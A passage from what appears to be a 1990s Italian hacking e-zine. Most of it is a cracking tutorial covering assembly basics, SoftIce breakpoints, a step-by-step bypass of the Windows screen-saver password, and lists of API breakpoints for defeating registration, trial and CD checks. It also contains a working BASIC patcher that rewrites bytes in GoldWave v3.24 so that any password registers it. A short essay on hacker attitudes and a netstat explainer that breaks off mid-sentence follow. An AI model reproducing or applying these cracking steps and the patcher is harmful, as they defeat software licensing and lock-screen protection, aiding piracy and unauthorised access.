dati. I registri in tutto sono quattro, e si chiamano AX - Accumulatore BX - Base register CX - Contatore DX - Data register Ognuno di questi registri puo' essere suddiviso in una parte alta e una bassa. Per esempio AX si suddivide in AL (Low) e AH (High). Nella CPU del Pentium, che lavora a 32 bit, i registri si chiamano EAX, EBX e cosi' via. Mi spiego meglio con questo schemino: AL = 8 Bit (parte bassa del registro AX) AH = 8 Bit (parte alta del registro AX) AX = 16 Bit (formato da AL e AH messi insieme) EAX = 32 Bit (formato da AX e altri 16 Bit che pero' non sono direttamente acessibili dall'utente) Ovviamente questa suddivisione vale anche per BX, CX e DX. Poi ci sono i segment register: CS - Vuol dire Code segment. E' l'area di memoria nella quale si trova il programma che state modificando. L'indirizzo CS:IP e' l'istruzzione che state per eseguire. DS - Il Data segment. La parte di memoria nella quale si trovano i dati. La CPU di solito vi accede solo in lettura. ES - Extra segment. In questa area di memoria la CPU vi accede in scrittura. IP - Instruction pointer. E' l'indirizzo dell'istruzione che state per eseguire. SS - Stack segment. Questa e' roba complicate... non vi serve per i vostri scopi crackistici. SI - Source Index. E' un puntatore. DI - Destination index. Un'altro puntatore. BP - Base pointer. Questo viene usato insieme allo SS. SP - Stack pointer. Serve a puntare una locazione all'interno dello Stack. E' usato insieme a SS. Questi sono i registri della CPU, le informazioni qui riportate, non sono complete, ma non staro' neanche qui' a completarle, perche' per i nostri loschi scopi non sono di importanza rilevante. Se proprio volete saperne di piu' andate a leggervi una delle tante guide sull'Assembler che si trovano in giro per Internet, o forse, se avete culo, nella sezione links di questo sito. 2.2 I flag Servono ad indicare se un jump condizionale (vedi sezione istruzioni) deve essere eseguito o no. Per esempio CMP AL, BL ........... Confronta il registro al con bl JZ 3F1D ................... Salta se zero a 3F1D La prima istruzione esegue un confronto tra AL e BL. Se sono uguali il flag Z diventa 1 (attivo), nel caso contrario invece, 0 (disattivo). La seconda istruzione salta all'indirizzo specificato se il flag Z e' 0. Se per esempio in AL abbiamo il numero di giorni da quando stiamo usando il programma, e in BL, il numero di giorni che il programma deve funzionare, modificando il flag zero possiamo far credere al programma che i giorni ancora non sono finiti, e quindi possiamo continuare ad usare il programma. Capito? Mettiamo il caso: AL = 3 .................... Stiamo usando il prog. da 3 giorni BL = 1E .................. (1E = 30 in Hex) Per quanti giorni possiamo usare il prog. Premesso questo, ora eseguiamo i comandi: CMP AL, BL ........... Confronta il 3 con il 30d JZ 3F1D .................. Se i due sono uguali (tutti e due 30, flag Z = 1) salta a 3F1D e ci dice di registrare il programma Tutto chiaro? Penso di si... queste sono cazzate da capire in fondo, credo. 2.3 Le istruzioni MOV Dest. Source - Sposta un valore da Source a Dest. Per esempio MOV AL, BL - Sposta il contenuto di BL in AL. CMP var1, var2 - Confronta i due valori di var1 e var2. Per esempio CMP AL, BL - Confronta il contenuto di AL con quello in BL. Semplice no? Be'... questa istruzione funziona come una sottrazione: il valore in var2 viene sottratto da var1. Cioe', se ho 3 in AL, e 8 in BL, il risultato sara' 3 - 8 = -5. Il flag Carry (C) si attivera' (questo flag si attiva ogni volta che il numero e' negativo). Nel 99,9% dei casi questo comando viene usato per confrontare la password da voi inserita e quella giusta, oppure come nell'esempio sopra, i giorni trascorsi, e quelli trascorribili (ma esiste questa parola?). JMP label - Questa e' l'istruzione piu' bella. Esegue un salto all'indirizzo specificato. Lo troverete, di solito dopo un CMP. Ci sono diverse variazioni di questo comando, che ora vi elenchero', e vanno tutte a controllare i flag Z, O, S, C e P. Nella sua forma piu' semplice e' JMP label, cioe', salta a label qualsiasi siano i valori dei flag. Ponendo il comando CMP AX, BX, abbiamo: JNZ - Jump if not zero, AX diverso da BX JZ - Jump if zero, AX uguale a BX JB - Jump if below, AX < BX, C = 1 JA - Jump if above, AX > BX, C = 0 JNGE - Jump if not greater or equal, AX<=BX, S diverso da 0 JGE - Jump if greater or equal, AX=>BX, S = 0 JLE - Jump if less or equal, AX<=BX, Z=1 o S=F Che palle! Vabbe'... cen'e' altri di 'sti' JMP, ma non credo che vi servano per i vostri loschi scopi, quindi non preoccupatevi... anche se non li sapete non cambia un cazzo. Comunque, se proprio vi interessano li trovate in un qualsiasi manuale di Assembler in giro per Internet, o comunque nella lista dei link di questo sito qualcosa per voi c'e'... CALL label - Richiama una routine che si trova all'indirizzo specificato con label. Per esempio CALL 1F3D, esegue la routine a CS:1F3D. Poi, eseguendo la routine, quando trova un'istruzione RET torna all'istruzione dopo CALL. Facile no? Di solito, quelle chiamate con CALL sono delle routine che controllano il testo da voi inserito, oppure criptano la password che avete inserito ecc. INT n - Esegue un'interruzione. Un'interruzione e' come una routine, pero' non e' nel programma, ma da qualche parte nel DOS, o nel BIOS, dipende dalla n. Per esempio quei giochini vecchissimi che chiedevano il KeyDisk inserito usavano l'int 13 per vedere se c'e'ra il dischetto inserito o no ecc. Comunque cazzate... in Windows gli INT non esistono quasi piu'. That's it. Questi sono i comandi principali dell'asm. Spero che gli abbiate capiti, perche' senza questi poi non ci capirete una minchia nel SoftIce. Anzi... se volete approfondire, c'e' il Assembly language foundamentals tutorial che aspetta solo di essere letto e studiato. I comandi che vi ho dato qui sono pure pochi, ma comunque quelli piu' importanti. 3. L'uso del debugger Ok. Aspettate un'attimo che mi accendo una cicca... fumo troppo... ma vabbo'. Per spiegarvi come funziona il SoftIce vi traduco semplicemente le parti piu' importanti della guida che trovate anche compattata nel file SoftIce.zip. Cosi' risparmio la fatica di pensare ai comandi. Allora... intanto i consiglio di mettere una robe del genere alla fine del vostro Autoexec.bat: choice /tn,2 Caricare softice? if errorlevel 2 goto win c:\softice\winice (qui' mettete la righa che vi aggiunge il SoftIce nell'installazione) goto end :win choice /ts,1 Caricare windows? if errorlevel 2 goto end win :end Ed ora passiamo ai comandi principali del SoftIce: 3.1 I comandi del SoftIce E' impossibile debuggare bene senza sapere come funzionano i BreakPoints (Bp). Un bp e' un'istruzione per la cpu che le dice di fermare l'esecuzione del programma dopo un accesso ad una certa locazione di memoria, oppure dopo certi eventi del programma stesso e da' il controllo al debugger. Quando setti un bp del SoftIce e poi torni al programma che stai usando, SoftIce compare automaticamente quando la condizione per la quale e' settato il bp e' verificata. 3.1.2 BreakPoint Bc # : Clear Breakpoint--elimina un breakpoint messo in precedenza nel Soft-Ice; devi sapere il numero del bp... Bd # : Disable Breakpoint--disabilita il bp ma non lo cancella; devi sapere il numero del bp... Be # : Enable Breakpoint--abilita il bp che hai disabilitato in precedenza; devi sapere il numero del bp... Bl : List Breakpoints--mostra una lista di tutti i bp settati nel softice, il loro stato (abilitato, disabilitato), e il loro numero. Bmsg : Break on Windows Message. Sintassi: BMSG window handle L begin-message end-message Bpint : Break on Interrupt. Funziona solo con le interruzioni trattate da IDT (95/NT). Sintassi: BPINT int-number Bpio: Si ferma quando c'e' un accesso in lettura o scrittura ad una porta I/O con un certo indirizzio. Sintassi: BPIO port [R|W|RW] [EQ|NE|GT|LT|M value] [c=count] Bpm: Si ferma quando c'e' un accesso alla memoria in lettura (read), scrittura (write), o esecuzione (execution). Sintassi: BPM[B|W|DW] address [R|W|RW|X] Bpx : Break on execution. Sintassi: BPX address/symbol [c=count] [EQ|NE|GT|LT|M value] [c=count] Bpr : Break on memory range. Sintassi: BPR start-address end-address [R|W|RW|T|TW] [expression] Bprw : Break on program/code segment. Sintassi: BPRW module-name|selector [R|W|RW|T|TW] [expression] 3.1.2 Steppare attraverso il programma Debuggare in se' vuol dire eseguite una istruzione alla volta di un programma in modo da poter vedere come cambiano la memoria, i registri, i flags e le variabili. I principali comandi per farlo sono: P : Esegue una istruzzione e vede le CALL come una istruzzone sola. Shortcut: il tasto F10. P RET : Esegue il programma finche non trova un'istruzione RET. Shortcut: il tasto F12. T : Esegue una istruzzione. Shortcut: il tasto F8. 3.1.3 Visualizzare informazioni sul sistema Addr : Visualizza o cambia ad un contesto di indirizzi. Class : Visualizza informazioni sui Windows Classes. CPU : Visualizza i registri della CPU. Exp : Carica/Visualizza i simboli esportati da un DLL. GDT : Visualizza la Global Descriptor Table. Heap : Visualizza i Global Heap di Windows. Heap32 : Visualizza/attraversa i Global Heap di Windows. HWND : Visualizza informazioni sui Windows Handles. IDT : Visualizza la Interrupt Descriptor Table. LDT : Visualizza la Local Descriptor Table. LHeap : Visualizza i Windows Local Heap. Map32 : Visualizza una mappa di memoria di tutti i moduli a 32bit caricati in memoria. MapV86 : Visualizza la mappa di memoria DOS memory della macchina virtuale corrente. Mod : Mostra la Windows Module List. Page : Mostra le Page Table information. Proc : Visualizza informazioni su un processo. Stack : Visualizza una call stack. Sym : Imposta o visualizza un Symbol. Task : Mostra Windows Task List. VCall : Mostra i nome e indirizzi di una routine VxD chiamabile con CALL. VM : Visualizza informazioni sulle macchine virtuali. VXD : Visualizza la mappa Windows VXD. .VMM : Chiama il VMM Debug Informational Services menu. .VPICD : Chiama il VPICD Debug Information Menu. .VXDLDR : Mostra informazioni VXD. WMSG : Visualizza i nomi e numeri dei messaggi Windows. Comunque, se questi dati non vi bastano, troverete la guida citata sopra compattata nel zip che potete scaricare dalla pagina Utilitys di questo sito. Inoltre, cosa molto importante, che stavo quasi per dimenticarmi, c'e' da dire che nel SoftIce ci entrate con CTRL-D. Figo, no? 4. Iniziamo a crackare Benebenebene... adesso che vi siete sorbiti tutte le cazzate qui sopra citate, sapete come funziona il SoftIce e anche un po' di asm, contenti? Ok. Possiamo iniziare con una cosa molto semplice e anche abbastanza inutile: la password dello Screen Saver di Windows. E' l'unica cosa che penso abbiano tutti nel loro Windows, cosi' evitate di andare a scaricare prog. che magari neanche volete, solo per provare ad crackarlo. Ok? Sono un bravo ragazzo o no? Iniziamo. Caricate il SoftIce, andate nel pannello di controllo, sceglietevi uno screen saver e impostate una password... una a caso, tanto ora la rendiamo inutile. Aspettate che lo SS (polizia militare tedesca) entri in funzione, inserite una pw sbagliata e entrate nel Softice con CTRL-D. Ok. Ora siamo nel Debugger. Adesso c'e' un problema... dobbiamo intercettare una funzione di Windows. Cioe' quella che legga il testo da noi inserito nella casella di testo della pw. Per fare questo innanzitutto dobbiamo sapere in che programma e' la finestrella con la casella di testo interessata. Digitiamo TASK e il SoftIce ci da una lista di programmi al momento attivi. Uno di questi e' (nel mio caso) "oggetti volanti". Io ho scelto questo ss, ma immagino che il vostro sia un'altro. Comunque, se non siete proprio cretini, nella lista di prog. che vi da, troverete quello dello ss. Fatto questo, c'e' da fare una piccola nota sul funzionamento di Windows. Qualsiasi cosa vedete sullo schermo (un pulsante di Ok, la X nella parte destra-alta delle finestrelle di Win, una casella di testo, ...) e' un handle di Windows. Sono chiamati cosi'. La casella di testo nella quale noi abbiamo inserito la pw e' un handle. Nel SoftIce e' possibile visualizzare tutti gli handle attivi al momento con il comando HWND. Digitandolo, vedrete una lista di tutti gli hwnd attivi di tutti i programmi. Di ogni hwnd il SoftIce da informazioni sull'numero del hwnd, il programma nel quale si trova e il suo nome. Noi siamo a caccia di un hwnd chiamato EDIT, visto che e' una casella di testo. Nella lista troverete proprio l'edit che vi serve (il prog. "Oggetti Volanti" ne visualizza uno solo). Ora dobbiamo solo intercettare la funzione di Windows che legge il testo contenuto in quella casella e ci ritroveremo esattamente nella routine da fottere. Per fare questo settiamo un bp con il seguente comando: BMSG num_hwnd WM_GETTEXT per num_hwnd, ovviamente, dovrete inserire il numero del handle che vi da SoftIce (il primo a sinistra). WM_GETTEXT invece e' un messaggio di Windows che legge un testo da una casella di testo. Dopo che avete inserito il comando nella righa di comando del SoftIce, date l'invio e tornate allo Screen Saver con CTRL-D. Cliccate su Ok per confermare la vostra pw sbagliata e... magia! Riappare il SoftIce e vi trovate nella routine BOZOSLIVEHERE (un piccolo scherzo della MicroSoft, credo... cretini...) di USER. Pero', come potete vedere nella parte bassa della finestra del codice, non siamo nel programma da noi desiderato (quello dello Screen Saver) ma in USER, del quale non ce ne frega un cazzo, e quindi steppiamo attraverso il codice, premendo F12, fino ad arrivare a Kernel.Alloc. Ogni volta che arrivate a Kernel.Alloc, sappiate che dopo il prossimon F12 che premete siete nel vostro programma. Premiamo un'altra volta l'F12 e ci troviamo nel bel mezzo di PASSWORD!.text. Cosi' ora sappiamo anche che lo Screen Saver usa l'estensione del Pannello di Controllo PASSWORD.CPL per gestire le password. Iniziate gia' un po' a sentirvi dei fighi? Andiamo avanti. Guardatevi bene il codice: 0137:7C45428F CALL [7C4582BC] ......................... La call dalla quale siamo appena usciti 0137:7C454295 TEST EDI, EDI ................................ Controlla cosa c'e' in EDI 0137:7C454297 JNZ 7C4542B1 ............................... Un JMP condizionale 0137:7C454299 LEA EAX, [EBP-04] 0137:7C45429C LEA ECX, [EBP-14] 0137:7C45429F PUSH EAX 0137:7C4542A0 PUSH ECX 0137:7C4542A1 CALL 7C454536 ............................... Chiama una Routine 0137:7C4542A6 TEST EAX, EAX ............................... Controlla cosa c'e' in EAX 0137:7C4542A8 JZ 7C4542DE ..................................... Un'altro JMP condizionale 0137:7C4542AA MOV EAX,00000001 0137:7C4542AF JMP 7C454322 .................................. Con questo JMPi sicuramente... Ok... Ci sono due CALL, e subito dopo le rispettive CALL, i rispettivi JMP. A me viene da pensare (a me perche' di programmi ne ho visti tanti...) che una controlla la lunghezza della pw e l'altra i caratteri. Ma ovviamente questo non si puo' sapere... e' solo un'intuizione che viene dopo kili di programmi sorbiti con il passare degli anni. Ma tanto a noi non ci frega di cosa fanno le call. Steppando attraverso il codice vediamo che almeno uno dei due jump ci fa saltare, quindi probabilmente, la parte del programma che ci rida' accesso al Desktop si trova all'indirizzo 0137:7C4542AF (l'ultimo JMP). Quindi, arrivati al primo JMP (JNZ 7C4542B1) noi non vogliamo saltare: premiamo F10 fino a quell'istruzione e mettiamo il flag Z a 0. Andiamo avanti con F10 fino al secondo JMP (JZ 7C4542DE) e settiamo il flag Z a 1 per non saltare neanche questa volta. Ok. Fatto. Ora possiamo tornare al programma premendo CTRL-D. Lo Screen Saver e' sparito e noi abbiamo riguadagnato l'accesso all'Desktop anche se abbiamo inserito la pw sbagliata. Dite la verita'. Vi sentite dei grandi ora o mi sbaglio? Ora forse non avrete capito perfettamente tutto quello che c'e' scritto qui' sopra, ma vi assicuro che se seguite i passi nell'esempio, piano piano capirete come fare a crackare anche altri programmi. Ora vi chiederete: "cosa sara' mai quel WM_GETTEXT???". E' un message brake di Windows. Nel senso che c'e' una parte in Windows che usa questo simbolo per leggere il testo da voi inserito nella casella di testo. Comunque ora ve ne do anche altri, per i pulsanti di Ok e altre cose. 5. BreakPoints utili Per prima cosa, per poter usare i seguenti bp (WM_GETTEXT compreso) dovete editare il file WINICE.DAT nella directory di SoftIce e includere gli exports di gdi32.dll kernel32.dll user32.dll questi tre per ora dovrebbero bastare, comunque sappiate che potete aggiungere anche gli altri dll e exe che vi interessano. I bp che seguono sono tutti da settare con Bpx nel SoftIce. 5.1 Lettura e scrittura sui file Questi che seguono sono gli API calls di Windows piu' comuni. Sono CALL generiche di accesso a file (di solito in binario) in lettura e scrittura. ReadFile WriteFile L'accesso ai file avviene con le seguenti routine SetFilePointer GetSytemDirectory GetSytemDirectoryA Per leggere e scrivere sui file INI le CALL da intercettare sono le seguenti: per applicazioni a 16bit GetPrivateProfileString GetPrivatProfileInt WritePrivateProfileString WritePrivatProfileInt per applicazioni a 32bit GetPrivateProfileStringA GetPrivatProfileIntA WritePrivateProfileStringA WritePrivatProfileIntA 5.2 Interrupt Accesso ad un file bpint 21 - con ah = 3d bpint 2f - con ah = 01 5.3 Il Registry Crea o elimina una key nel registry (quelle con A alla fine sono per applicazioni a 32 bit) RegCreateKey RegDeleteKey RegCreateKeyA RegDeleteKeyA Leggi un valore da una Key correntemente aperta nel registry RegQueryValue RegQueryValueA Apre o chiude una Key nel registry RegCloseKey RegOpenKey RegCloseKeyA RegOpenKeyA 5.4 Finestre di dialogo Legge testo o un numero da una finestra di dialogo edit (quelle con A alla fine sono per applicazioni a 32 bit) GetWindowText GetDlgItemText GetWindowTextA GetDlgItemTextA GetDlgItemInt Quando si apre una finestrella di messaggio, di solito una di quelle che dice "registrazione non valida" o qualcosa del genere, dovete intercettare queste CALLs MessageBox MessageBoxA MessageBoxExA MessageBeep 5.5 Data e ora Queste sono particolarmente utili per i programmi che non funzionano piu' dopo un paio di giorni GetSystemTime GetLocalTime SytemTimeToFileTime 5.6 Creazione di una finestra CreateWindow CreateWindowExA ShowWindow bitblt (e' una roba simile a hmemcpy... sposta e muove memoria in giro) 5.7 CD-ROM Molto utili per i check del CD-ROM. GetDriveType (se EAX e' 5, allora e' un CD-ROM check) GetDriveTypeA (per le app. a 32 bit) Eseguite le CALL, in EAX c'e' un valore, ed e' da interpretare nel seguente modo: 0 ............. Drive cannot be determinated 1 ............. root dir does not exist 2 ............. DriveRemoveable 3 ............. A fixed disk (HD) 4 ............. Remote drive (NetWork) 5 ............. Cd-Rom drive 6 ............. RamDisk 5.8 Altri BreakPoints Questi li potete usare quando il resto non funziona... sono dei bp, che, in generale, funzionano BozosLiveHere (ve lo ricordate?) HMemCpy (quello citato sopra. sposta variabili, di solito stringhe, in giro per la memoria) GlobalGetAtomName 5.8 I messaggi Questi sono da settare con BMSG nel SoftIce (non con BPX). WM_GETTEXT (un handle di testo) WM_COMMAND (quando premi un pulsante di Ok) Penso che sappiate come usarli questi... ve lo ho spiegato sopra... comunque lo ripeto: BMSG hwnd_num WM_COMMAND, per esempio. Per hwnd_num, ovviamente, dovete inserire il numero dell'handle trovato con il comando HWND del SoftIce. Questi sono i bp piu' utili che potete settare. Non dovete impararli a memoria... dopo un po' li saprete per i cazzi vostri. Ma sarebbe bene che ve li leggiate, cosi' sapete che esistono e sapete che potete usarli quando vi servono. 6. Il patch Cos'e' un patch? Semplicemente un programma che faccia da solo il cracking di un prog. Nel esempio dello Screen Saver per esempio, il programma deve cambiare in NOP (No operation) i due jump condizionali. Il risultato finale sara': 0137:7C45428F CALL [7C4582BC] ......................... La call dalla quale siamo appena usciti 0137:7C454295 TEST EDI, EDI ................................ Controlla cosa c'e' in EDI 0137:7C454297 NOP .......................... Niente piu' jmp condizionale, ma un nop (non dobbiamo saltare). 0137:7C454298 NOP ......................I NOP sono due perche' i byte che occupa l'istruzione che c'era prima erano il doppio di un NOP 0137:7C454299 LEA EAX, [EBP-04] 0137:7C45429C LEA ECX, [EBP-14] 0137:7C45429F PUSH EAX 0137:7C4542A0 PUSH ECX 0137:7C4542A1 CALL 7C454536 ............................... Chiama una Routine 0137:7C4542A6 TEST EAX, EAX ............................... Controlla cosa c'e' in EAX 0137:7C4542A8 NOP ..........................................Stesso discorso di sopra 0137:7C4542A9 NOP 0137:7C4542AA MOV EAX,00000001 0137:7C4542AF JMP 7C454322 ..................... Il jmp che ci fa saltare alla routine di sbloccaggio Questo e' il programma come dovrebbe essere dopo il crack, quando lo disassemblate. Chiaro? Ora... per cambiare il jmp con un NOP, non dobbiamo fare altro che prendere nota dei byte originai, cioe' quelli con i jmp come erano all'inizio, poi cambiarli con i nop, e prendere nota del cambiamento dei byte. Per vedere l'istruzione disassemblata, in SoftIce, si usa il comando CODE ON, che vicino ad ogni istruzione, vi mostra i byte che le rappresentano. Facile no? Ho scritto, solo per voi, un patch universale in Basic (linguaggio del cazzo ma veloce, intuitivo, e soprattutto facile, per voi che non ci capite una sega) che vi riporto qui sotto, cosi' lo compilate diversamente ogni volta che crackate un programma. Per usarlo dovete conoscere l'offset dei byte da cambiare, che potete trovare con un Hex editor (lo trovate nella pagina Utilitys di questo sito), i byte del file originale e quelli dopo il crackaggio. Ok. In oltre vi sarei molto grato se lasciaste le righe in cui ci sono i crediti (S2)... o se proprio non volete, almeno mettete un "tnx to S2" o qualcosa del genere... vene sarei grati. Let's patch! '---VARIABLE DEFINITIONS--- '---File Name of the file to crack--- FileName$ = "GOLDWAVE.EXE" '---Number of bytes to change--- NBC = 6 '---15, 133, 156... are the original bytes of the file (in decimal!!!)--- OB$ = CHR$(15) + CHR$(133) + CHR$(156) + CHR$(0) + CHR$(0) + CHR$(0) '---233, 157, 0... are the changed bytes of the file (in decimal!!!)--- CB$ = CHR$(233) + CHR$(157) + CHR$(0) + CHR$(0) + CHR$(0) + CHR$(144) '---The offset where the bytes to change are--- '---you can find 'em with a Hex editor--- '---the first byte of the file is 1--- OS = 147393 '---The file size in bytes--- FS = 946176 '---CREDIZ & INFO--- CLS PRINT "Patch for Goldwave v3.24 written by S2" PRINT "" PRINT "This Patch allows you to enter ANY password" PRINT "you like, and the program will register" PRINT "itselve." PRINT "If the file is already patched, it will return" PRINT "to it's original state." PRINT "Have fun!" PRINT "" DO: LOOP WHILE INKEY$ = "" '---FILE CHECK & VERSION CHECK--- PRINT "Opening file "; FileName$; "..." PRINT "" ON ERROR GOTO OpenFileErr OPEN FileName$ FOR INPUT AS #1 IF NOT LOF(1) = FS THEN PRINT "The file has not the right size." PRINT "Check if it is the correct version." PRINT "" END END IF CLOSE #1 ON ERROR GOTO 0 '---FILE PATCH & UNPATCH--- ON ERROR GOTO PatchFileErr OPEN FileName$ FOR BINARY ACCESS READ WRITE AS #1 PRINT "Checking file..." PRINT "" Data$ = STRING$(NBC, " ") GET #1, OS, Data$ IF Data$ = CB$ THEN PRINT "File already patched." PRINT "Back to it's original state..." PRINT "" PUT #1, OS, OB$ PRINT "Now the file is unpatched!" ELSE PRINT "File not patched." PRINT "Let's patch..." PRINT "" PUT #1, OS, CB$ PRINT "Now the file is patched!" PRINT "Registration for FREE now!" END IF END OpenFileErr: PRINT "There was an error while opening the file." PRINT "run-time errorcode "; ERR PRINT "" END PatchFileErr: PRINT "There was an error while patching the file." PRINT "run-time errorcode "; ERR PRINT "" END Ho scritto i commenti in inglese per mettere il programma in Internet, ma comunque non penso che ci voglia tanto a capire come funziona. Quando volete creare un patch per un altro file, tutto quello che dovete modificare e' contenuto nelle variabili all'inizio del programma. Li rielenco in italiano con alcuni commenti per farvi capire meglio: FileName$ = "GOLDWAVE.EXE" In questo punto, al posto di GOLDWAVE.EXE inserite il nome del file da crackare. NBC = 6 6 e' il numero di byte da modificare. In questo caso 6. OB$ = CHR$(15) + CHR$(133) + CHR$(156) + CHR$(0) + CHR$(0) + CHR$(0) Al posto di 15, 133, 156... dovete inserire i byte originali del file che volete crackare. Se i byte sono di piu' o di meno di 6, semplicemente aggiungete o togliete i CHR$() che sono in meno o di troppo. CB$ = CHR$(233) + CHR$(157) + CHR$(0) + CHR$(0) + CHR$(0) + CHR$(144) Stesso discorso di sopra, solamente, questa volta, i byte inseriti tra le parentesi sono quelli che volete siano scritti. OS = 147393 L'offset dei byte da cambiare. Come trovarlo? Se come Hex editor usate l'Hexworks, per esempio, tutto quello che dovete fare e' andare a ricercare (nel Hexworks, ovviamente) dove si trovano i byte che volete modificare. Trovati quelli, sulla sinistra (o sulla barra di stato) troverete scritto l'offset dei byte. Attenzione pero'! In Hexworks, il primo byte nel file e' 0, mentre secondo il Basic, il primo byte nel file e' 1. Quindi, all'offset che troverete in Hexworks dovrete aggiungere 1. Abbastanza ovvio, no? FS = 946176 E' la grandezza del file in byte. Se non sapete come trovare questa da soli siete degli incompetenti, e aggiungerei anche imbecilli :-)))) Notate che se volete fare un patch per la password dello screen saver, dovrete cambiare un po' il codice, perche' i byte da cambiare non sono in fila, ma iniziano a due indirizzi diversi, quindi due offset diversi. Per cui, ci sara' da aggiungere una variabile OS1$, per il secondo offset, OB1$, per i byte originali nella seconda posizione e CB1$, per i byte cambiati nella seconda posizione. E poi dovrete aggiungere il codice per il cambiamento dei byte nella seconda posizione (al secondo offset). Chiaro no? No? Studiate il basic, o scrivete il patch in un linguaggio che conoscete. E questo e' quanto. 7. Conclusione Bene raga. Ho finito. Penso che di tutta sta roba, se non sapevate veramente un cazzo, abbiate capito molto poco, ma non vi preoccupate... se provate a mettere in pratica ci riuscirete piano piano a crackare il vostro primo shareware da soli... ci vuole solo un po' di esperienza... Da parte mia ho cercato di darvi tutte le informazioni piu' utili che ho potuto trovare in Internet, e di spiegarmi in maniera piu' o meno capibile. Spero che questo manualetto vi serva e che vi ricordiate di S2 in futuro... Inoltre vorrei ringraziare Extasy per avermi dato l'idea, anche se in modo implicito, di scrivere una roba del genere... E ringraziamenti vanno anche alla fabbrichetta di Plastica nella quale ho lavorato, per le sigarette che grazie a loro posso permettermi. Un'altra cosa: NON MANDATE MAIL!!! TANTO NON RISPONDO!!! Prima di andarvene dal sito andate a visitare la parte "required programs". Troverete non solo i programmi che vi servono, ma anche i patch per i programmi stessi. E non dimenticate, di tanto in tanto, di tornare su queste pagine per le ultime novita'. S2 ۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ Comicio subito col dire che alcuni newbies ultimamente mi hanno fatto qualke domanda su cose specifiche e quando gli passavo qualke doc teorico mi dicevano ...che palle! Be se pensate la stessa cosa allora lasciate perdere l'hacking e datevi all'uncinetto xche se volete bucare uno unix e sapete solo come cancellare i log, se volete avere l'ultima versione di winnuke ma non sapete come funzionano i nuke..be imo siete lamer xche' se non avete le basi non potete fare niente. Soprattutto ricordate che dietro a un hacker c'e' la voglia di conoscenza, il volere capire come funzionano i programmi, non la voglia di distruggere tutto di formattare a destra e a manca e se queste sono le cose che fate di solito... be, mi dispiace ma siete e resterete lamer finche' non vorrete andare al di la' della pappa pronta, finche' non vi verra' la nausea dopo una decina di manuali sulle reti, finche' non avrete capito che differenza c'e' tra i vari protocolli. Finche' non saprete cosa e' un firewall non saprete come sfruttare i suoi bug! Non importa che eta' avete, quanto tempo dedicate ai pc, quanti amici hacker avete, l'unica cosa importante la potete trovare solo dentro di voi, (e forse al 127.0.0.1 vero master? ehehehe) e quella cosa e' la curiosita'. Mah, probabilmente, mi starete pigliando x pazzo, e forse non avete tutti i torti, ma questo e' quello che penso io, e prima di diventare hacker come Master passeranno anni (se mai arrivero'a i suoi livelli), xche' come diceva qualcuno che non mi ricordo + chi era... "+ impari e + ti accorgi che da imparare ce n'e' sempre di +". o meglio "..non e' mai finita..." che si puo' riassumere in questa frase di Baudelaire "credevo di avere toccato il fondo, quando mi accorsi che si poteva ancora scavare" Se dopo questa breve intro credete di avere perso del tempo, be...scusatemi. N0bodY88 ͻ Ŀ COME FUNZIONA NETSTAT ٺ ͼ A cura di Barninga Z Windows 95 implementa il comando netstat, praticamente standard nei sistemi Unix, utile per indagare la configurazione di rete ed il suo stato. Quella di Windows 95 appare una versione ridotta rispetto al netstat diffuso sotto Unix, ma comunque utile per curiosare e magari diagnosticare lo stato della rete. Il comando netstat riconosce diverse opzioni, particolarmente interessante e' -a, che visualizza lo stato di tutte le connessioni di rete. Un output del comando netstat -a visualizza tipicamente una riga per ogni servizio attivo (il servizio, in parole poverissime e largamente approssimative, E' un socket, o numero di connessione, attraverso il quale due processi - in genere su macchine diverse - comunicano), come il seguente: Active Connections Proto Local Address Foreign Address State UDP zeta-:nbname *:* UDP zeta-:nbdatagram *:* UDP zeta-:nbname *:* UDP zeta-:nbdatagram *:* Il significato E' che sul computer zeta- (il nome attribuito alla macchina via pannello di controllo) sono attive due interfacce di rete, e su entrambe sono attivi i servizi NetBiosName e NetBiosDatagram. Il fatto che si tratti di due interfacce di rete appare piu' chiaro se insieme all'opzione -a si usa anche l'opzione -n, che richiede a netstat la visualizzazione dell'output in formato numerico (senza cioE' utilizzare C:\WINDOWS\HOSTS per i nomi delle macchine e C:\WINDOWS\SERVICES per i nomi dei servizi): Active Connections Proto Local Address Foreign Address State UDP 150.100.190.11:137 *:* UDP 150.100.190.11:138 *:* UDP 193.76.58.131:137 *:* UDP 193.76.58.131:138 *:* L'indirizzo 150.100.190.11 e' l'indirizzo della mia macchina sulla LAN, mentre 193.76.58.131 E' l'indirizzo internet atribuito automaticamente dal provider; 137 e 138 sono i numeri dei servizi NetBiosName e NetBiosDatagram (standard anche su Unix). UDP indica che si tratta di servizi di tipo User Datagram Protocol, cioe' di servizi privi di un vero e proprio protocollo di sincronia tra processi in grado di garantire che tutti i pacchetti spediti siano arrivati effettivamente a destinazione e in una sequenza prestabilita (in altre parole, manca una negoziazione tra i processi all'inizio della trasmissione). Ecco come cambia l'output nel momento in cui effettuo una connessione FTP (ad esempio mediante il programma FTP.EXE) verso una macchina della rete locale: Active Connections Proto Local Address Foreign Address State TCP zeta-:1136 pippo:ftp ESTABLISHED UDP zeta-:nbname *:* UDP zeta-:nbdatagram *:* UDP zeta-:nbname *:* UDP zeta-:nbdatagram *:* Come si vede e' comparsa una nuova riga in testa alla lista di connessioni, la quale indica che la macchina zeta- ha aperto un nuovo socket (un nuovo canale di comunicazione, il numero 1136) e si e' connessa al servizio ftp della macchina pippo; la connessione e' attiva (ESTABLISHED) ed e' di tipo TCP. TCP sta per Transport Control Protocol e, a differenza dello UDP, e' un vero e proprio protocollo che implementa controlli interprocesso per verificare l'integrita' e la completezza della trasmissione. Ancora una volta, l'opzione -n mi permette di verificare su quale interfaccia e' attiva la connessione, infatti la prima linea sara' Proto Local Address Foreign Address State TCP 150.110.190.11:1136 150.113.150.11:21 ESTABLISHED si nota, tra l'altro, che la porta standard ftp e' la 21; inoltre, dato che l'indirizzo della macchina target evidenzia un net address (150.113) diverso da quello della mia macchina (150.110), se ne deduce che da qualche parte ci deve essere un router che mette in comunicazione le due reti. Una rapida verifica, oltre che con il programma ROUTE.EXE, puo' essere fatta con lo stesso netstat, mediante l'opzione -r. L'output del comando netstat -r sara' il seguente (i puntini indicano che ho eliminato alcune righe non significative ai fini dell'esempio): Route Table Active Routes: Net Address Netmask Gateway Address Interface Metric 150.13.0.0 255.255.0.0 150.110.12.54 150.110.190.11 1 Il router (o gateway) che consente ai pacchetti indirizzati a macchine sulla rete 150.13 e' la macchina con indirizzo 150.110.12.54, e l'interfaccia (scheda 